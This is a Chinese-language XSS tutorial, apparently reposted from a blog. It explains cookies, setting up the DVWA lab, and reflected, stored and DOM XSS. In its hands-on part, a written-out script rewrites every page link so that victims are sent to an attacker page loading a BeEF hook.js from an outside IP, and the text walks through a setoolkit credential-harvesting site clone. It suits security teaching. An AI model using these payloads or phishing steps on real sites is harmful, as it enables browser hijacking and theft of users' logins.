0


漏洞篇(XSS 跨站脚本攻击一)

一、XSS跨站脚本攻击

**1、Cookie 概述 **

1、Cookie 概述:Cookie 是一些数据, 存储于你电脑上的文本文件中。

当 web 服务器向浏览器发送 web 页面时,在连接关闭后,服务端不会记录用户的信息。

Cookie 的作用就是用于解决 "如何记录客户端的用户信息":

(1)、当用户访问 web 页面时,他的名字可以记录在 cookie 中。

(2)、在用户下一次访问该页面时,可以在 cookie 中读取用户访问记录。

Cookie 以键值对形式存储,如下所示:

username=John Doe

当浏览器从服务器上请求 web 页面时, 属于该页面的 cookie 会被添加到该请求中。服务端通过

这种方式来获取用户的信息。

参数

说明

必填

举例

name

**cookie 的名字 **

**使用 **

**$_COOKIE['cookiename'] 调 **

**用名为 cookiename 的 **

**cookie。 **

**value **

**cookie 的值,存放在客户端,不要存放敏感 **

**数据 **

**假定 name 是’ **

cookiename’,可以通过
**$_COOKIE[‘cookiename’] **

取得其值。

expire
**Cookie 过期的时间。这是个 Unix 时间 戳,即从 Unix 纪元开始的秒数。换而言之,通常用 time() 函数再加上秒数来设定 cookie 的失效期。或者用 mktime()来实现。 **

*time()+8640030 将设定 **

**cookie 30 天后失效。如果未设 ****定,cookie 将会在会话结束后 **

(一般是浏览器关闭)失效。
path
**Cookie 在服务器端的有效路径。 **

*如果该参数设为 '/'的话,*cookie **

*就在整个 domain 内有***效,如果设为'/foo/', ****cookie 就只在 domain 下的 ****/foo/目录**

*及其子目录内有效,例***如 /foo/bar/。默认值为设定 **

cookie 的当前目录。
domain
*该 cookie 有效的域名。 **
要使 cookie 能在*如 example.com 域名下的所有
**子域都有效的话,该参数应该设 **

*为 '***.example.com'。虽然 . **

**并不必须的,但加上它会兼容更 **

**多的浏览器。如果该参数设为 **

**www.example.com 的话,就 **

**只在 www 子域内有效。 **
secure
**指明 cookie 是否仅通过安全的 HTTPS 连 **

**接传送。当设成 TRUE 时,cookie 仅在安 **

全的连接中被设置。默认值为 FALSE。

*否 **
*0 或 1 *httponly **
设为 true 后,只能通过 http 访问,
*javascript 无法访问;防止 xss 读取
*cookie;php5.2 以上版本已支持 HttpOnly
参数的设置,同样也支持全局HttpOnly 的*设置,在 php.ini 中, **

*session.cookie_httponly=ture 来开启全局***的 Cookie 的 HttpOnly 属性 **

**否 **

**setcookie(“abc”, **

**“test”,NULL, NULL, NULL, **NULL, TRUE)

2、使用 JavaScript 创建 Cookie

JavaScript 可以使用 document.cookie 属性来创建 、读取、及删除 cookie。

例 1:JavaScript 中,创建 cookie 如下所示:

document.cookie="username=John Doe";

例 2:你还可以为 cookie 添加一个过期时间(以 UTC 或 GMT 时间)。默认情况下,cookie 在

浏览器关闭时删除:

document.cookie="username=John Doe; expires=Thu, 18 Dec 2043 12:00:00 GMT";

**3、使用 JavaScript 读取 Cookie **

在 JavaScript 中, 可以使用以下代码来读取 cookie:

var x = document.cookie;

注:document.cookie 将以字符串的方式返回所有的 cookie,类型格式: cookie1=value;

cookie2=value; cookie3=value;



**4、使用 JavaScript 修改 Cookie **

在 JavaScript 中,修改 cookie 类似于创建 cookie,如下所示:

document.cookie="username=John Smith; expires=Thu, 18 Dec 2043 12:00:00 GMT;

path=/";

旧的 cookie 将被覆盖。

**5、Cookie 字符串 **

document.cookie 属性看起来像一个普通的文本字符串,其实它不是。

即使您在 document.cookie 中写入一个完整的 cookie 字符串, 当您重新读取该 cookie 信息

时,cookie 信息是以键值对的形式展示的。

如果您设置了新的 cookie,旧的 cookie 不会被覆盖。 新 cookie 将添加到 document.cookie

中,所以如果您重新读取 document.cookie,您将获得如下所示的数据:

cookie1=value; cookie2=value;

二、XSS 跨站脚本攻击原理及 DVWA 靶机的搭建

DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的 PHP/MySQL

Web 应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助 web 开发者更好的理解 web 应用安全防范的过程。

1、学习环境搭建

(1)上传 DVWA 到主机

[root@localhost ~]# rz

(2)将下载的 dvwa 渗透系统代码上传到 Linux 上,并解压到网站根目录下

[root@localhost ~]# unzip DVWA-master.zip -d /var/www/html/

修改文件权限

**[root@localhost ~]# chown apache:apache /var/www/html/DVWA-master/ -R **

(3)编辑 DVAW 配置文件/dvwa/config/config.inc.php,配置数据库信息,user 和 password 是

MySQL 的用户名和密码。

**创建配置文件 **

**[root@localhost ~]# cd /var/www/html/DVWA-master/config/ **


**[root@localhost config]# cp config.inc.php.dist config.inc.php #基于模版配置文件,生 **

**成新的配置文件 config.inc.php **


**[root@localhost config]# vim /var/www/html/DVWA-master/config/config.inc.php **

修改一下标红内容:

改:21 $_DVWA[ 'db_password' ] = 'p@ssw0rd';

为:21 $_DVWA[ 'db_password' ] = '123456'; #只需要修改成你的 mysql 的 root 用户密

改:

29 $_DVWA[ 'recaptcha_public_key' ] = '';

30 $_DVWA[ 'recaptcha_private_key' ] = '';

为:添加上谷歌开源免费验证码 reCAPTCHA 的公钥和私钥

29 $_DVWA[ 'recaptcha_public_key' ] = '6LdK7xITAAzzAAJQTfL7fu6I0aPl8KHHieAT_yJg';

30 $_DVWA[ 'recaptcha_private_key' ] = '6LdK7xITAzzAAL_uw9YXVUOPoIHPZLfw2K1n5NVQ';

扩展:

reCAPTCHA 概述:CMU 设计了一个名叫 reCAPTCHA 的强大系统,让他们的电脑去向人类求

助。具体做法是:将 OCR(光学字符识别)软件无法识别的文字扫描图传给世界各大网站,用以替换原来的验证码图片;那些网站的用户在正确识别出这些文字之后,其答案便会被传回 CMU。

OCR 概述:OCR (Optical Character Recognition,光学字符识别)是指电子设备(例如扫描

仪或数码相机)检查纸上打印的字符,通过检测暗、亮的模式确定其形状,然后用字符识别方法将形状翻译成计算机文字的过程;

CAPTCHA [ˈkapSHə] :验证码

如:google 常用的人机身份验证方式

    ![](https://img-blog.csdnimg.cn/f3f846eabec043b3bdd506528ed18f9d.png)

扩展:如果想生成自己的谷歌开源免费验证码reCAPTCHA 的公钥和私钥。操作如下:

访问 https://www.google.com/recaptcha/admin/create 并用 google 账户登录,在文本框输

入自己网站的网址,如 global-key.mycompany.com ,点击 create key,生成 Public Key 和

Private Key。

(4)修改 php 配置文件

**[root@localhost ~]# vim /etc/php.ini **

**改:815 allow_url_include = Off **

**为: allow_url_include = On **


**[root@localhost config]# systemctl restart httpd **

(5)部署 DVWA 网站系统

在浏览器中输入:http://x.x.x.x/DVWA-master/setup.php

(6)后期登录:

http://x.x.x.x/DVWA-master/login.php

dvwa 的登录界面的默认用户名:admin ,密码: password

2、反射型 XSS 原理

我们来演示一下它的工作原理。这个功能类似一个留言板,输入信息后下面会增加对应的信息。

根据回显信息判断出,显示的文本内容是 Hello $name。我们输入的信息被存放在$name 变量

中。

我们添加一条 JavaScript 代码获取 cookie

<script>alert(document.cookie);</script>

**3、存储型 XSS 原理 **

存储型 XSS 的优势在于恶意代码被存储到服务器上,比如我们在论坛发帖的过程中嵌入了 XSS 攻击代码,当我们发布的帖子被用户浏览访问时就可以触发 XSS 代码。

存储型 XSS 的优势在于恶意代码被存储到服务器上,比如我们在论坛发帖的过程中嵌入了 XSS 攻击代码,当我们发布的帖子被用户浏览访问时就可以触发 XSS 代码。

Name:****root

Message:**<script>alert(document.cookie);</script> **

存储型 XSS 和反射型 XSS 的区别是:XSS 只会弹一次 cookie 信息。存储型 XSS 每次访问这个页面都是会弹出 cookie 信息。因为 XSS 代码已经嵌入在了该 Web 站点当中,所以每次访问都会被执行。

再次刷新页面,还是可以弹出弹出 cookie 信息。

我们登录服务器上的数据库进行查看。

可以看到我门提交的数据被存放在数据库当中。每次用户访问页面时 Web 程序会从数据库中读取出XSS 攻击代码,从而被重复利用。

**4、DOM 型 XSS 原理 **

DOM Based XSS 漏洞是基于文档对象模型 Document Objeet Model,DOM)的一种漏洞。它其

实属于反射型 XSS 的一种,所以它也通过 URL 来进行触发 XSS 攻击。

**可以看到参数在 URL 地址中是可控的。 **

修改 URL 中传递的参数为 root


**可以看到 URL 中的参数被带入到页面中被浏览器执行。从而修改页面中的内容变为:root。 **

在 url 中加入 js 脚本:

     ![](https://img-blog.csdnimg.cn/29c6613d442642eea80bd36f47560d53.png)

    

三、实战-反射型 XSS 攻击劫持用户浏览器

1、构建反射型 XSS 攻击

我们先构建一个反射型的 XSS 攻击跳转到存在漏洞的页面。其实也可以在 DVWA 中直接进行攻

击,但是我们处于演示目的构造了一个相对复杂的环境。

<script> window.onload = function() { var link=document.getElementsByTagName("a"); for(j = 0; j < link.length; j++) { link[j].href="http://www.wkxy25.top/ ";} } </script>

JavaScript 代码分析 :window.onload 当网页加载完成时,执行 function 匿名函数

函数功能:document.getElementsByTagName 获取页面中所有的 a 标签,存放到 link 数组

中,使用 for 循环将 link 数组中的所有元素替换为恶意网址。

打开 chrome 浏览器,我们在反射型 XSS 中进行测试效果

执行完成后页面并没有什么异常,刷新也没有问题,但是我们点击页面中任何链接时,会发现所有能够点击的链接点击后都会跳转到http://www.wkxy25.top/

2、使用 beef 劫持用户浏览器

*BeEF(The Browser Exploitation Framework) 是由 Wade Alcorn(瓦德·***奥尔康) 在 2006 **

**年开始创建的,至今还在维护。是由 ruby 语言开发的专门针对浏览器攻击的框架。 **

点击应用程序启动 beef

**再打开一个终端,启动 apache **

**┌──(root💀kali)-[~]
└─# systemctl start apache2 **

新建一个 Web 页面用来加载我们生成的 hook.js 钩子文件**,如果在目标网站直接嵌入 hook.js 就太 **

**可疑了。 **

**└─# vim /var/www/html/hack.html **

**<html> **

**<head> **

**<script src='****http://192.168.1.101:3000/hook.js****'></script> **

**</head> **

**<body> **

**

****Hello ****

**

**</body> **

**</html> **

**修改一下 payload **

**<script> **

**window.onload = function() { **

**var link=document.getElementsByTagName("a"); **

**for(j = 0; j < link.length; j++) { **

**link[j].href="http://192.168.1.101/hack.html";} **

**} **

**</script> **

**修改为完整的 URL **


http://192.168.1.102/DVWA-

*master/vulnerabilities/xss_r/?name=***<script>****window.onload = function() {****var link=document.getElementsByTagName("a");**for(j = 0; j < link.length; j++) {**
**link[j].href="****http://192.168.1.101/hack.html****";} } ****</script>

进行 URL 编码

http://192.168.1.102/DVWA-

master/vulnerabilities/xss_r/?name=

master%2Fvulnerabilities%2Fxss_r%2F%3Fname%3D%3Cscript%3Ewindow.onload%20%3D%20function()%20%7Bvar%20link%3Ddocument.getElementsByTagName(%22a%22)%3Bfor(j%20%3D%200%3B%20j%20%3C%20link.length%3B%20j%2B%2B)%20%7B%0Alink%5Bj%5D.href%3D%22http%3A%2F%2F192.168.1.101%2Fhack.html%22%3B%7D%20%7D%20%3C%2Fscript%3E

**然后访问我们构造的地址。 **

**随便点击一个跳转页面的链接触发 XSS **

**在 Kali 上登录 beef 后台进行查看 **

http://127.0.0.1:3000/ui/panel


四、实战-持久型 XSS 窃取用户信息

*1、***使用 setoolkit 克隆站点 **

Setoolkit 是一个万能的社工工具(社会工程学工具集合)

**选1 **

**从菜单中选择: **

**1)社会工程攻击 **

**2)渗透测试(快速通道) **

**3)第三方模块 **

**4)更新社会工程师工具包 **

**5)更新 SET 配置 **

**6)帮助,积分和关于 **

99)退出社会工程师工具包

选2


**菜单: **

**1)矛网钓鱼攻击载体 **

**2)网站攻击载体 **

**3)传染媒介发生器 **

**4)创建有效负载和侦听器 **

**5)群发邮件攻击 **

**6)基于 Arduino 的攻击向量 **

**7)无线接入点攻击向量 **

**8)QRcode 生成器攻击向量 **

**9)PowerShell 攻击向量 **

**10)第三方模块 **

**99)返回主菜单。 **


选择 3: 凭证收割机攻击方法


选择 2 站点克隆

**设置侦听 IP 地址保持默认回车即可 **

**输入 URL 进行克隆 **


访问

从外观上来看和真实的站点并没有什么不同。

我们输入用户名密码进行登录试试。

我们可以看到页面又重新跳转回了站点。也就是真实站点中。

再次点击登录网站正常登录成功。

我们回到 setoolkit 查看,已经记录下了在我们克隆站点输入的用户名密码信息。


标签: xss web安全 安全

本文转载自: https://blog.csdn.net/m0_58001548/article/details/130001856
版权归原作者 whhc 所有, 如有侵权,请联系我们删除。

“漏洞篇(XSS 跨站脚本攻击一)”的评论:

还没有评论